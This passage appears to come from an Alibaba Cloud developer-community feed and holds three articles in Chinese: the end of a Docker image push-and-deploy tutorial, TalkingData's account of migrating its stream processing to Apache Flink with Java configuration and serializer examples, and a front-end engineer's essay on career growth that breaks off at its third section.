        在推送之前,需要注册阿里云账号和开通阿里云容器镜像服务
        
        > 阿里云注册链接: [注册阿里云](https://account.aliyun.com/register/register.htm)
        > 
        > 阿里云登录链接: [登录阿里云](https://account.aliyun.com/login/login.htm)
        > 
        > 阿里云容器镜像服务页面: [访问阿里云容器镜像服务](https://cr.console.aliyun.com) 
        > 
        > 容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。
        
        当我们拥有阿里云容器镜像服务账号之后呢,可以使用 docker 客户端来登陆服务。
        

        $ docker login -username=** registry.cn-hangzhou.aliyuncs.com
        Password:
        Login Succeeded

        在推送到镜像之前,需要将本地镜像修改为对应的镜像仓库地址:
        

        mydemo 可以替换成自己的命名空间

        $ docker tag demo:v1 registry.cn-hangzhou.aliyuncs.com/mydemo/demo:v1

        $ docker push registry.cn-hangzhou.aliyuncs.com/mydemo/demo:v1

        #### 3.4 登陆阿里云 ECS 机器来下载 demo:v1 镜像
        
        登陆 ECS 实例,通过 docker pull 来下载镜像
        

        mydemo 请替换成 3.3 步骤中指定的命令空间

        $ docker pull registry.cn-hangzhou.aliyuncs.com/mydemo/demo:v1

        下载完毕之后,我们就可以直接运行该镜像
        

        $ docker run -d -p 8000:80 registry.cn-hangzhou.aliyuncs.com/mydemo/demo:v1

        并查看 ECS 机器的 `8000` 端口
        

        $ curl localhost:8000

        另外,可以移步 《课后实践:应用容器构建与部署》
        直接在阿里云大学沙箱实验环境中尝试哦!!

        本文由阿里云容器云平台团队撰写,如有问题或希望转载还请与我们沟通,谢谢!

        ]]>
        Apache Flink 的迁移之路,2 年处理效果提升 5 倍-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者:肖强(TalkingData 资深工程师)

        一、背景与痛点

        在 2017 年上半年以前,TalkingData 的 App Analytics 和 Game Analytics 两个产品,流式框架使用的是自研的 td-etl-framework。该框架降低了开发流式任务的复杂度,对于不同的任务只需要实现一个 changer 链即可,并且支持水平扩展,性能尚可,曾经可以满足业务需求。

        但是到了 2016 年底和 2017 年上半年,发现这个框架存在以下重要局限:

        1. 性能隐患:App Analytics-etl-adaptor 和 Game Analytics-etl-adaptor 这两个模块相继在节假日出现了严重的性能问题(Full-GC),导致指标计算延迟。
        2. 框架的容错机制不足:依赖于保存在 Kafka 或 ZK 上的 offset,最多只能达到 at-least-once,而需要依赖其他服务与存储才能实现 exactly-once,并且会产生异常导致重启丢数。
        3. 框架的表达能力不足: 不能完整的表达 DAG 图,对于复杂的流式处理问题需要若干依赖该框架的若干个服务组合在一起才能解决问题。

        TalkingData 这两款产品主要为各类移动端 App 和游戏提供数据分析服务,随着近几年业务量不断扩大,需要选择一个性能更强、功能更完善的流式引擎来逐步升级我们的流式服务。调研从 2016 年底开始,主要是从 Flink、Heron、Spark streaming 中作选择。

        最终,我们选择了 Flink,主要基于以下几点考虑:

        1. Flink 的容错机制完善,支持 Exactly-once。
        2. Flink 已经集成了较丰富的 streaming operator,自定义 operator 也较为方便,并且可以直接调用 API 完成 stream 的 split 和 join,可以完整的表达 DAG 图。
        3. Flink 自主实现内存管理而不完全依赖于 JVM,可以在一定程度上避免当前的 etl-framework 的部分服务的 Full-GC 问题。
        4. Flink 的 window 机制可以解决GA中类似于单日游戏时长游戏次数分布等时间段内某个指标的分布类问题。
        5. Flink 的理念在当时的流式框架中最为超前: 将批当作流的特例,最终实现批流统一。

        二、演进路线

        1. standalone-cluster (1.1.3->1.1.5->1.3.2)

        我们最开始是以 standalone cluster 的模式部署。从 2017 年上半年开始,我们逐步把 Game Analytics 中一些小流量的 etl-job 迁移到 Flink,到 4 月份时,已经将产品接收各版本 SDK 数据的 etl-job 完全迁移至 Flink,并整合成了一个 job。形成了如下的数据流和 stream graph:

        1

        图1. Game Analytics-etl-adaptor 迁移至 Flink 后的数据流图

        2

        图2. Game Analytics-etl 的 stream graph

        在上面的数据流图中,flink-job 通过 Dubbo 来调用 etl-service,从而将访问外部存储的逻辑都抽象到了 etl-service 中,flink-job 则不需考虑复杂的访存逻辑以及在 job 中自建 Cache,这样既完成了服务的共用,又减轻了 job 自身的 GC 压力。

        此外我们自构建了一个 monitor 服务,因为当时的 1.1.3 版本的 Flink 可提供的监控 metric 少,而且由于其 Kafka-connector 使用的是 Kafka08 的低阶 API,Kafka 的消费 offset 并没有提交的 ZK 上,因此我们需要构建一个 monitor 来监控 Flink 的 job 的活性、瞬时速度、消费淤积等 metric,并接入公司 owl 完成监控告警。

        这时候,Flink 的 standalone cluster 已经承接了来自 Game Analytics 的所有流量,日均处理消息约 10 亿条,总吞吐量达到 12 TB 每日。到了暑假的时候,日均日志量上升到了 18 亿条每天,吞吐量达到了约 20 TB 每日,TPS 峰值为 3 万。

        在这个过程中,我们又遇到了 Flink 的 job 消费不均衡、在 standalone cluster 上 job 的 deploy 不均衡等问题,而造成线上消费淤积,以及集群无故自动重启而自动重启后 job 无法成功重启。(我们将在第三章中详细介绍这些问题中的典型表现及当时的解决方案。)

        经过一个暑假后,我们认为 Flink 经受了考验,因此开始将 App Analytics 的 etl-job 也迁移到 Flink 上。形成了如下的数据流图:

        3

        图3. App Analytics-etl-adaptor 的标准 SDK 处理工作迁移到 Flink 后的数据流图

        4

        图4. App Analytics-etl-flink job 的 stream graph

        2017 年 3 月开始有大量用户开始迁移至统一的 JSON SDK,新版 SDK 的 Kafka topic 的峰值流量从年中的 8 K/s 上涨至了年底的 3 W/s。此时,整个 Flink standalone cluster 上一共部署了两款产品的 4 个 job,日均吞吐量达到了 35 TB。

        这时遇到了两个非常严重的问题:

        • 同一个 standalone cluster 中的 job 相互抢占资源,而 standalone cluster 的模式仅仅只能通过 task slot 在 task manager 的堆内内存上做到资源隔离。同时由于前文提到过的 Flink 在 standalone cluster 中 deploy job 的方式本来就会造成资源分配不均衡,从而会导致 App Analytics 线流量大时而引起Game Analytics 线淤积的问题。
        • 我们的 source operator 的并行度等同于所消费 Kafka topic 的 partition 数量,而中间做 etl 的 operator 的并行度往往会远大于 Kafka 的 partition 数量。因此最后的 job graph 不可能完全被链成一条 operator chain,operator 之间的数据传输必须通过 Flink 的 network buffer 的申请和释放,而 1.1.x 版本的 network buffer 在数据量大的时候很容易在其申请和释放时造成死锁,而导致 Flink 明明有许多消息要处理,但是大部分线程处于 waiting 的状态导致业务的大量延迟。

        这些问题逼迫着我们不得不将两款产品的 job 拆分到两个 standalone cluster 中,并对 Flink 做一次较大的版本升级,从 1.1.3(中间过度到 1.1.5)升级成 1.3.2。最终升级至 1.3.2 在 18 年的 Q1 完成,1.3.2 版本引入了增量式的 checkpoint 提交并且在性能和稳定性上比 1.1.x 版本做了巨大的改进。升级之后,Flink 集群基本稳定,尽管还有消费不均匀等问题,但是基本可以在业务量增加时通过扩容机器来解决。

        2. Flink on yarn (1.7.1)

        因为 standalone cluster 的资源隔离做的并不优秀,而且还有 deploy job 不均衡等问题,加上社区上使用 Flink on yarn 已经非常成熟,因此我们在 18 年的 Q4 就开始计划将 Flink 的 standalone cluster 迁移至 Flink on yarn 上,并且 Flink 在最近的版本中对于 batch 的提升较多,我们还规划逐步使用 Flink 来逐步替换现在的批处理引擎。

        5

        图5. Flink on yarn cluster 规划

        如图 5,未来的 Flink on yarn cluster 将可以完成流式计算和批处理计算,集群的使用者可以通过一个构建 service 来完成 stream/batch job 的构建、优化和提交,job 提交后,根据使用者所在的业务团队及服务客户的业务量分发到不同的 yarn 队列中,此外,集群需要一个完善的监控系统,采集用户的提交记录、各个队列的流量及负载、各个 job 的运行时指标等等,并接入公司的 OWL。

        从 19 年的 Q1 开始,我们将 App Analytics 的部分 stream job 迁移到了 Flink on yarn 1.7 中,又在 19 年 Q2 前完成了 App Analytics 所有处理统一 JSON SDK 的流任务迁移。当前的 Flink on yarn 集群的峰值处理的消息量达到 30 W/s,日均日志吞吐量达约到 50 亿条,约 60 TB。在 Flink 迁移到 on yarn 之后,因为版本的升级性能有所提升,且 job 之间的资源隔离确实优于 standalone cluster。迁移后我们使用 Prometheus+Grafana 的监控方案,监控更方便和直观。

        我们将在后续将 Game Analytics 的 Flink job 和日志导出的 job 也迁移至该 on yarn 集群,预计可以节约 1/4 的机器资源。

        三、重点问题的描述与解决

        在 Flink 实践的过程中,我们一路上遇到了不少坑,我们挑出其中几个重点坑做简要讲解。

        1. 少用静态变量及 job cancel 时合理释放资源

        在我们实现 Flink 的 operator 的 function 时,一般都可以继承 AbstractRichFunction,其已提供生命周期方法 open()/close(),所以 operator 依赖的资源的初始化和释放应该通过重写这些方法执行。当我们初始化一些资源,如 spring context、dubbo config 时,应该尽可能使用单例对象持有这些资源且(在一个 TaskManager 中)只初始化 1 次,同样的,我们在 close 方法中应当(在一个 TaskManager 中)只释放一次。

        static 的变量应该慎重使用,否则很容易引起 job cancel 而相应的资源没有释放进而导致 job 重启遇到问题。规避 static 变量来初始化可以使用 org.apache.flink.configuration.Configuration(1.3)或者 org.apache.flink.api.java.utils.ParameterTool(1.7)来保存我们的资源配置,然后通过 ExecutionEnvironment 来存放(Job提交时)和获取这些配置(Job运行时)。

        示例代码:

        Flink 1.3 设置及注册配置:

        StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment();
        Configuration parameters = new Configuration();
        parameters.setString("zkConnects", zkConnects);
        parameters.setBoolean("debug", debug);
        env.getConfig().setGlobalJobParameters(parameters);

        获取配置(在 operator 的 open 方法中)。

        @Override
        public void open(Configuration parameters) throws Exception {
            super.open(parameters);
            ExecutionConfig.GlobalJobParameters globalParams = getRuntimeContext().getExecutionConfig().getGlobalJobParameters();
            Configuration globConf = (Configuration) globalParams;
            debug = globConf.getBoolean("debug", false);
            String zks = globConf.getString("zkConnects", "");
            //.. do more ..
        }

        Flink 1.7 设置及注册配置:

        ParameterTool parameters = ParameterTool.fromArgs(args);
        // set up the execution environment
        final ExecutionEnvironment env = ExecutionEnvironment.getExecutionEnvironment();
        env.getConfig().setGlobalJobParameters(parameters);

        获取配置:

        public static final class Tokenizer extends RichFlatMapFunction<String, Tuple2<String, Integer>> {
        
            @Override
            public void flatMap(String value, Collector<Tuple2<String, Integer>> out) {
            ParameterTool parameters = (ParameterTool)
                getRuntimeContext().getExecutionConfig().getGlobalJobParameters();
            parameters.getRequired("input");
            // .. do more ..

        2. NetworkBuffer 及 operator chain

        如前文所述,当 Flink 的 job 的上下游 Task(的 subTask)分布在不同的 TaskManager 节点上时(也就是上下游 operator 没有 chained 在一起,且相对应的 subTask 分布在了不同的 TaskManager 节点上),就需要在 operator 的数据传递时申请和释放 network buffer 并通过网络 I/O 传递数据。

        其过程简述如下:上游的 operator 产生的结果会通过 RecordWriter 序列化,然后申请 BufferPool 中的 Buffer 并将序列化后的结果写入 Buffer,此后 Buffer 会被加入 ResultPartition 的 ResultSubPartition 中。ResultSubPartition 中的 Buffer 会通过 Netty 传输至下一级的 operator 的 InputGate 的 InputChannel 中,同样的,Buffer 进入 InputChannel 前同样需要到下一级 operator 所在的 TaskManager 的 BufferPool 申请,RecordReader 读取 Buffer 并将其中的数据反序列化。BufferPool 是有限的,在 BufferPool 为空时 RecordWriter / RecordReader 所在的线程会在申请 Buffer 的过程中等待一段时间,具体原理可以参考:[1], [2]。

        简要截图如下:

        7

        图6. Flink 的网络栈, 其中 RP 为 ResultPartition、RS 为 ResultSubPartition、IG 为 InputGate、IC 为 inputChannel

        在使用 Flink 1.1.x 和 1.3.x 版本时,如果我们的 network buffer 的数量配置的不充足且数据的吞吐量变大的时候,就会遇到如下现象:

        8

        图7. 上游 operator 阻塞在获取 network buffer 的 requestBuffer() 方法中

        9

        图8. 下游的 operator 阻塞在等待新数据输入

        10

        图9. 下游的 operator 阻塞在等待新数据输入

        我们的工作线程(RecordWriter 和 RecordReader 所在的线程)的大部分时间都花在了向 BufferPool 申请 Buffer 上,这时候 CPU 的使用率会剧烈的抖动,使得 Job 的消费速度下降,在 1.1.x 版本中甚至会阻塞很长的一段时间,触发整个 job 的背压,从而造成较严重的业务延迟。

        这时候,我们就需要通过上下游 operator 的并行度来计算 ResultPartition 和 InputGate 中所需要的 buffer 的个数,以配置充足的 taskmanager.network.numberOfBuffers。

        11

        图10. 不同的 network buffer 对 CPU 使用率的影响

        当配置了充足的 network buffer 数时,CPU 抖动可以减少,Job 消费速度有所提高。

        在 Flink 1.5 之后,在其 network stack 中引入了基于信用度的流量传输控制(credit-based flow control)机制[2],该机制大限度的避免了在向 BufferPool 申请 Buffer 的阻塞现象,我们初步测试 1.7 的 network stack 的性能确实比 1.3 要高。

        但这毕竟还不是最优的情况,因为如果借助 network buffer 来完成上下游的 operator 的数据传递不可以避免的要经过序列化/反序列化的过程,而且信用度的信息传递有一定的延迟性和开销,而这个过程可以通过将上下游的 operator 链成一条 operator chain 而避免。

        因此我们在构建我们流任务的执行图时,应该尽可能多的让 operator 都 chain 在一起,在 Kafka 资源允许的情况下可以扩大 Kafka 的 partition 而使得 source operator 和后继的 operator 链在一起,但也不能一味扩大 Kafka topic 的 partition,应根据业务量和机器资源做好取舍。更详细的关于 operator 的 training 和 task slot 的调优可以参考: [4]。

        3. Flink 中所选用序列化器的建议

        在上一节中我们知道,Flink 的分布在不同节点上的 Task 的数据传输必须经过序列化/反序列化,因此序列化/反序列化也是影响 Flink 性能的一个重要因素。Flink 自有一套类型体系,即 Flink 有自己的类型描述类(TypeInformation)。Flink 希望能够掌握尽可能多的进出 operator 的数据类型信息,并使用 TypeInformation 来描述,这样做主要有以下 2 个原因:

        • 类型信息知道的越多,Flink 可以选取更好的序列化方式,并使得 Flink 对内存的使用更加高效;
        • TypeInformation 内部封装了自己的序列化器,可通过 createSerializer() 获取,这样可以让用户不再操心序列化框架的使用(例如如何将他们自定义的类型注册到序列化框架中,尽管用户的定制化和注册可以提高性能)。

        总体上来说,Flink 推荐我们在 operator 间传递的数据是 POJOs 类型,对于 POJOs 类型,Flink 默认会使用 Flink 自身的 PojoSerializer 进行序列化,而对于 Flink 无法自己描述或推断的数据类型,Flink 会将其识别为 GenericType,并使用 Kryo 进行序列化。Flink 在处理 POJOs 时更高效,此外 POJOs 类型会使得 stream 的 grouping/joining/aggregating 等操作变得简单,因为可以使用如: dataSet.keyBy("username") 这样的方式直接操作数据流中的数据字段。

        除此之外,我们还可以做进一步的优化:

        • 显示调用 returns 方法,从而触发 Flink 的 Type Hint:
        dataStream.flatMap(new MyOperator()).returns(MyClass.class)

        returns 方法最终会调用 TypeExtractor.createTypeInfo(typeClass) ,用以构建我们自定义的类型的 TypeInformation。createTypeInfo 方法在构建 TypeInformation 时,如果我们的类型满足 POJOs 的规则或 Flink 中其他的基本类型的规则,会尽可能的将我们的类型“翻译”成 Flink 熟知的类型如 POJOs 类型或其他基本类型,便于 Flink 自行使用更高效的序列化方式。

        //org.apache.flink.api.java.typeutils.PojoTypeInfo
        @Override
        @PublicEvolving
        @SuppressWarnings("unchecked")
        public TypeSerializer<T> createSerializer(ExecutionConfig config) {
           if (config.isForceKryoEnabled()) {
              return new KryoSerializer<>(getTypeClass(), config);
           }
        
           if (config.isForceAvroEnabled()) {
              return AvroUtils.getAvroUtils().createAvroSerializer(getTypeClass());
           }
        
           return createPojoSerializer(config);
        }

        对于 Flink 无法“翻译”的类型,则返回 GenericTypeInfo,并使用 Kryo 序列化:

        //org.apache.flink.api.java.typeutils.TypeExtractor
        
        @SuppressWarnings({ "unchecked", "rawtypes" })
        private <OUT,IN1,IN2> TypeInformation<OUT> privateGetForClass(Class<OUT> clazz, ArrayList<Type> typeHierarchy,
              ParameterizedType parameterizedType, TypeInformation<IN1> in1Type, TypeInformation<IN2> in2Type) {
           checkNotNull(clazz);
           // 尝试将 clazz转换为 PrimitiveArrayTypeInfo, BasicArrayTypeInfo, ObjectArrayTypeInfo
           // BasicTypeInfo, PojoTypeInfo 等,具体源码已省略
          //...
        
           //如果上述尝试不成功 , 则return a generic type
           return new GenericTypeInfo<OUT>(clazz);
        }
        • 注册 subtypes: 通过 StreamExecutionEnvironment 或 ExecutionEnvironment 的实例的 registerType(clazz) 方法注册我们的数据类及其子类、其字段的类型。如果 Flink 对类型知道的越多,性能会更好
        • 如果还想做进一步的优化,Flink 还允许用户注册自己定制的序列化器,手动创建自己类型的 TypeInformation,具体可以参考 Flink 官网:[3];

        在我们的实践中,最初为了扩展性,在 operator 之间传递的数据为 JsonNode,但是我们发现性能达不到预期,因此将 JsonNode 改成了符合 POJOs 规范的类型,在 1.1.x 的 Flink 版本上直接获得了超过 30% 的性能提升。在我们调用了 Flink 的 Type Hint 和 env.getConfig().enableForceAvro() 后,性能得到进一步提升。这些方法一直沿用到了 1.3.x 版本。

        在升级至 1.7.x 时,如果使用 env.getConfig().enableForceAvro() 这个配置,我们的代码会引起校验空字段的异常。因此我们取消了这个配置,并尝试使用 Kyro 进行序列化,并且注册我们的类型的所有子类到 Flink 的 ExecutionEnvironment 中,目前看性能尚可,并优于旧版本使用 Avro 的性能。但是最佳实践还需要经过比较和压测 KryoSerializerAvroUtils.getAvroUtils().createAvroSerializerPojoSerializer 才能总结出来,大家还是应该根据自己的业务场景和数据类型来合理挑选适合自己的 serializer。

        4. Standalone 模式下 job 的 deploy 与资源隔离共享

        结合我们之前的使用经验,Flink 的 standalone cluster 在发布具体的 job 时,会有一定的随机性。举个例子,如果当前集群总共有 2 台 8 核的机器用以部署 TaskManager,每台机器上一个 TaskManager 实例,每个 TaskManager 的 TaskSlot 为 8,而我们的 job 的并行度为 12,那么就有可能会出现下图的现象:

        12

        第一个 TaskManager 的 slot 全被占满,而第二个 TaskManager 只使用了一半的资源!资源严重不平衡,随着 job 处理的流量加大,一定会造成 TM1 上的 task 消费速度慢,而 TM2 上的 task 消费速度远高于 TM1 的 task 的情况。假设业务量的增长迫使我们不得不扩大 job 的并行度为 24,并且扩容2台性能更高的机器(12核),在新的机器上,我们分别部署 slot 数为 12 的 TaskManager。经过扩容后,集群的 TaskSlot 的占用可能会形成下图:

        14

        新扩容的配置高的机器并没有去承担更多的 Task,老机器的负担仍然比较严重,资源本质上还是不均匀!

        除了 standalone cluster 模式下 job 的发布策略造成不均衡的情况外,还有资源隔离差的问题。因为我们在一个 cluster 中往往会部署不止一个 job,而这些 job 在每台机器上都共用 JVM,自然会造成资源的竞争。起初,我们为了解决这些问题,采用了如下的解决方法:

        1. 将 TaskManager 的粒度变小,即一台机器部署多个实例,每个实例持有的 slot 数较少;
        2. 将大的业务 job 隔离到不同的集群上。

        这些解决方法增加了实例数和集群数,进而增加了维护成本。因此我们决定要迁移到 on yarn 上,目前看 Flink on yarn 的资源分配和资源隔离确实比 standalone 模式要优秀一些。

        四、总结与展望

        Flink 在 2016 年时仅为星星之火,而只用短短两年的时间就成长为了当前最为炙手可热的流处理平台,而且大有统一批与流之势。经过两年的实践,Flink 已经证明了它能够承接 TalkingData 的 App Analytics 和 Game Analytics 两个产品的流处理需求。接下来我们会将更复杂的业务和批处理迁移到 Flink 上,完成集群部署和技术栈的统一,最终实现图 5 中 Flink on yarn cluster 的规划,以更少的成本来支撑更大的业务量。

        参考资料:

        [1]https://cwiki.apache.org/confluence/display/FLINK/Data+exchange+between+tasks
        [2]https://flink.apache.org/2019/06/05/flink-network-stack.html
        [3]https://ci.apache.org/projects/flink/flink-docs-release-1.7/dev/types_serialization.html#type-hints-in-the-java-api
        [4]Flink Slot 详解与 Job Execution Graph 优化

        了解更多 Flink 企业级应用案例可关注 Flink Forward Asia 企业实践专场,届时来自字节跳动、滴滴出行、快手、Bilibili、网易、爱奇艺、中国农业银行、奇虎360、贝壳找房、奇安信等众多一线大厂技术专家现场分享 Flink 在各行业的应用效果与探索思路。

        大会倒计时 25 天!11 月 28-30 日,北京国家会议中心,扫描下方二维码立刻报名,来参与一场思维升级的技术盛宴~

        点击了解更多大会议程:https://developer.aliyun.com/special/ffa2019-conference?spm=a2c6h.13239638.0.0.21f27955RWcLlb

        11月28日下午,企业实践专题分享

        _1

        11月29日上午,企业实践专题分享

        _2

        ]]>
        从求生存到修体系,我在阿里找到了技术人的成长模式-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 前言
        我将我经历过的或者正在经历的状态,分成三个阶段进行总结:求生存,谋发展,修体系。
        1.png

        阶段一:埋头苦干求生存

        作为一个服务一线业务的前端同学,支撑好业务占据我们50%-60%左右的KPI,纵观行业前端本身很容易成为整个业务的资源瓶颈,而身为业务的前端我相信一定经历过疲于奔命,经常线上救火的事情。我入职后的前一年主要做进口业务:天猫国际,一个包含平台和自营的业务。当时的进口业务还处于野蛮生长,竞争激烈的阶段。经常面临一年两大改,日常需求不断,期间还要应付一年的5个S级的大促和一些小促,我记得最忙的时候是17年双十一,面临着自营和平台两块业务的大迭代,同时还需要面临双十一大促各种需求,每天除了做业务几乎没有什么思考和总结的过程。而经过那次之后我也深刻体会到对于需求管理和时间管理 & 如何避免避免线上起火的重要性。这里我结合自身和团队的经验梳理了如何打破这种状态方法,也欢迎各位补充。

        需求管理

        首先需求是做不完的,所以要有取舍,集中人力和精力做核心的业务需求,才能发挥最大的价值,如果你所在团队目前处于各种零散的需求纷至而来导致无法应节的情况,则有必要进行相应的需求管理措施:

        1.需求双周排期会:比如拉上老板,PD和业务方 & 开发一起,每两周(时间可自定义)坐到一起对焦这两周的项目进展和接下来所有需求,并且确定好优先级,哪些是应该安排资源进行开发,哪些应该进行取舍,让更多的精力和人力focus在业务的重要事情上。当然比如业务方靠谱或者有大的规划,则一般会对财年的目标进行战役级别的拆解,并且梳理出业务今年必须要要拿下的几场战役,那么技术同学就可以根据战役来排兵布阵了,业务和技术同学也有明确的统一的战线和目标,比如我们目前就是以各种战役为主,日常需求穿插为辅。

        2.如何拒绝一句话需求:在需求双周排期会中基本能搞定80%的核心需求和优先级,但在平时还是会存在一些业务方/PD会找你提一些没有经过梳理和思考的一两句话的需求,比如:这个这个商品坑我想从一排一换成一排二的,或者想这个地方的icon或者营销标我觉得字体不好看想修改下等等这样的诉求。那面对这样的诉求,在左耳朵耗子的极客专栏中 & 小胡子哥的博客都有提到如何拒绝一句话需求的方法,结合我自己的经验觉得有如下三个递进的方法来解决:

        多问几个为什么:这比如你这个需求背后的目的和价值是什么?做了之后有什么预期的收益,为什么这么做就可以达到这个收益,你可以不直接问业务方,但是你也需要问自己,业务方的这个目标和做这个需求的路径是否可以匹配得上,如果实现路径存在逻辑漏洞或者不是最佳的则这个需求也就没有做的必要性。

        给出替代方案:经过上面的步骤,其实你会发现你已经过滤了一批无效的一句话需求,而有些需求可能是有一定的存在价值,但是可能业务方提到的点并不是有效的方案或者说成本太大的方案,这时你就需要思考替代方案,尽量通过现有方案或者小成本的方式来满足业务方,间接的达到“拒绝”的效果。

        不能直接说不,但可以有条件的说是:当你确定这个需求是ok的,但你确实暂时抽不出时间来搞定这个事情的时候,这时关键在于我们不能直接拒绝业务方,长此以往会影响到后续的合作关系,这种情况你可以说,这个需求我接受,但是我可能需要较长一些的缓冲时间或者砍一些需求(部分满足),又或者必须要按时上的话,不能保证项目的上线后的效果、质量等,让业务方来做部分的取舍。

        提升开发效率 & 质量
        当然作为技术人员,需求管理只是一方面,还需要从自身的角度出发,提升开发效率和质量,这个我相信大家都深有体会,尽量不要做低质量的重复事情。比如通过统一开发技术体系和封装相应的可复用的组件和提效工具等来释放自己和团队同学的生产力,千万不要因为太忙而放弃思考和做这些事情,这样只会欠下更多的技术债。
        当然这里也有个误区,并不是鼓励大家造轮子,身为业务团队的同学,尽量把眼光能放到行业或者集团内借助现有的技术方案快速的定制来满足自己的业务诉求,比如之前我们借助之前舒文团队的魔系列产品定制了海外自己的魔石模块来满足满足海外营销场景的需求开发,现在基本上大促类似坑位模块都得到了比较好的解决。
        再者就是质量问题,需要抽空对线上经常出现问题的产品和代码进行梳理和方案的重新设计,在做国际时我一般是利用周末的时间来做这种事情,进行部分的重构来达到这种问题的彻底解决,避免三更半夜出现“连环夺命call”。剩下的方式和手段就是增加开发环节质量保证和必要线上监控了。

        关注上线效果 & 及时总结
        有的时候我们认为项目提测上线后就完成了,这是一个不好的习惯,长此以往自己也就在合作方当中沦落为一个项目资源的角色,处于被动的状态。其实仔细分析下多关注上线之后的业务数据和效果 & 分析总结,有如下好处:
        1.提高自己对业务的理解能力,你在关注业务数据的同时,也就会更多地从业务的角度来看到这个功能所带来的价值是否符合预期,当出现不符合预期的时候,可以和业务方一起进行数据漏斗的分析从而找到问题所在,避免我们的劳动成果成为一次性的工作。

        2.总结的同时可以帮助自己梳理这个项目中自己哪些地方做的不足,或者相关推进中存在什么问题,以及后面怎么改进,提高了下次项目中的迭代效率和质量。比如这个项目是否存在需求理解不到位存在返工,或者沟通 & 联调低效,环境不稳定,自己设计的方案是否合理等问题,后续要怎么解决。

        3.也可以从数据和总结中判断出什么样的需求是靠谱的 & 什么的样业务方是靠谱的,频繁争取资源上线效果又不好的业务方,下次再有需求过来则需要多增加一个心眼和思考的过程。

        小结
        以上就是我在应对业务需求井喷所总结的一些经验,总体来说就是虽然业务占据我们大部分的KPI,但不能在业务中迷失了自己,需要给自己安排总结和反思的时间,做到主动掌握节奏的支撑业务。

        阶段二:四顾茫然谋发展

        当然做到主动掌握节奏支撑业务还是不够的,如何让自己在做业务的同时能获得更好的沉淀和成长呢,下面说说做我经历的第二个阶段,我把它称为四顾茫然谋发展。这个阶段你会发现你虽然能较好地支撑了业务和有一定的时间来思考了,但是作为业务前端有个困境就是似乎不知道往哪些方向来发力来提升自己,特别是在每次制定规划和写KPI时,总会出现除了业务不知道该做啥的困境。在我看来身处在业务团队的前端可以试着从两个角度去探索和思考:

        业务赋能角度
        业务赋能其实是需要我们紧贴业务规划,制定技术规划和方案。这里建议从财年开始后就需要陆续和老板和还有自己对口的业务PD还有业务去聊,找一些线索和输入,了解业务方今年的KPI重点是什么,预计的拆解和实现路径是什么?再结合自己的和团队情况,想想自己能做哪些事情来帮助业务实现其KPI,其实这并非是一个简单的事情,我自己也在慢慢的锻炼和训练的自己,目前的有两点感受可以谈下:
        1.抓住本质从点及面,通盘考虑:很多时候,我们收到的痛点和业务需求都是单点的,这时我们不能着眼于眼前的单点问题,而需要通盘来考虑,比如SEO的页面对性能非常敏感,经常会收到一些业务方来反馈,说目前我们的SEO有这个地方,那个地方需要优化下,而单点解决这些问题可能对业务带来的收益并不大,对自己的技能也没有什么成长。这时候如果通盘考虑这个命题,其实会发现做SEO页面的优化,其实目的是为了提升SEO页面的收录和排名。而提升SEO页面的收录和排名其实不仅有前端性能优化这一个路径,而是还有一些其他的路径:比如优化关键词&长尾词,采用Google的AMP技术改造SEO页面,优化爬虫爬取页面的耗时提升爬取率等等。这样就能把点的问题转化为面的问题,才能制定更有效和全面的抓手来赋能业务。

        2.既要解决眼前痛点,也要长远谋划:很多时候我们不能仅满足于眼前的KPI,还需要了解业务方长远的想法和可以预见的规划。比如我们目前正在做一个集团非常重要的项目,这个项目时间非常紧张(前端需要300多个人日, 且只有48个工作日,一度成为项目的风险点),业务和技术的第一要务就是按时上线,这时如果按着常理,规划的目标肯定围绕着如何按时上线的事情,而可以预见的未来,可能还需要基于这个模式落地到其他的站点,所以这里在规划和需要做的事情又增加了如何做到技术方案的可以复制性,做到未来能新开站点如何做到缩短前端人力的问题,帮助业务能做到海外站点快速规模化,这就是第二个维度的事情了,而当我吧这个项目的所有可能的近的问题和远的问题都挖掘一遍,那我们要做的事情其实就是海外分站前端整体解决方案。 所以这需要我们不断的挖掘问题和定义问题,然后再找到对策,这样才能找到更好的的赋能业务抓手。

        技术体验角度
        技术体验角度相对前端同学来说比较熟悉,而身在业务团队,前端这块也可以做比较多的事情,比如研发效能的提升,性能体验优化,新技术试点和落地,与端的融合等等。如果想重点投入在这方向里面有几个点我觉得是需要重点关注的:
        1.避免重复造轮子:当你需要制定一个产品化的方案或者工具和框架的时候,最好先放眼集团内部和行业,进行一番调研,看看业界和其他同事是怎么解决这个问题的。尽量站在别人的肩膀上做出创新或者参与共建,避免小团队内造出重复和质量低的轮子,这里建议可以多关注集团前端委员会的规划和动态,多关注集团内外的分享,当发现有感兴趣和共同有需要面对的问题和场景时,参与共建和共享。

        2.方案的深度和广度:这个比较好理解比如就拿前端的性能优化来说,目前我们已经不怎么谈资源压缩,combo请求之类常规操作了,而是进入了和客户端深入结合的深水区进行优化(深度),如之前天猫的Webbased方案,而之前我在做海外性能优化Global Lite方案的时候也是从全链路的角度来规划和思考的(广度)。所以规划方案的深度和广度,决定了这个方案的收益面,而提升深度和广度的方向或者说技巧我觉得可以是:一是多跨出一步,以上下游和合作方的角色来思考,和其他团队&角色深度合作,探讨可能的方案。二是以终局的思维来思考,比如这个事情最后应该是要做成什么样的,然后和现实做match考虑落地方案。

        3.关注方案的ROI:这里其实涉及到你规划的方案,如果完整实施下来的成本和收益的问题,这个会最终衡量你做这个事情或者方向的价值。那如何衡量成本和收益呢,成本可以考虑从两个角度来说,一个是平时我们理解的成本, 比如投入了多少人日,花费了多少经费等,还可以从另一个经济学的机会成本来考虑,即放弃了的最大代价。收益其实比如提高了多少人效,提升了多少业务数据,提升了多少性能等,建议采用对比的方式来凸显。

        4.引进来&走出去:引进来的意思是尽量基于现有的方案和能力来进一步创新或者定制,走出去其实是将成果和方案能反哺出去,比如将方案覆盖到集团其他行业和BU,解决类似场景的问题,或者开源,申请专利 & 多参与集团内外的分享交流等等。

        小结
        关于思考业务赋能和做技术规划,其实是一个非常值得不断探讨&锻炼过程,建议平时多和老板 & 团队内高P沟通和交流,一般他们会比较有经验,可以在思考的深度和格局给出非常多的建议,有的时候这种交流会有一种醍醐灌顶的感觉。

        阶段三:千锤百炼修体系

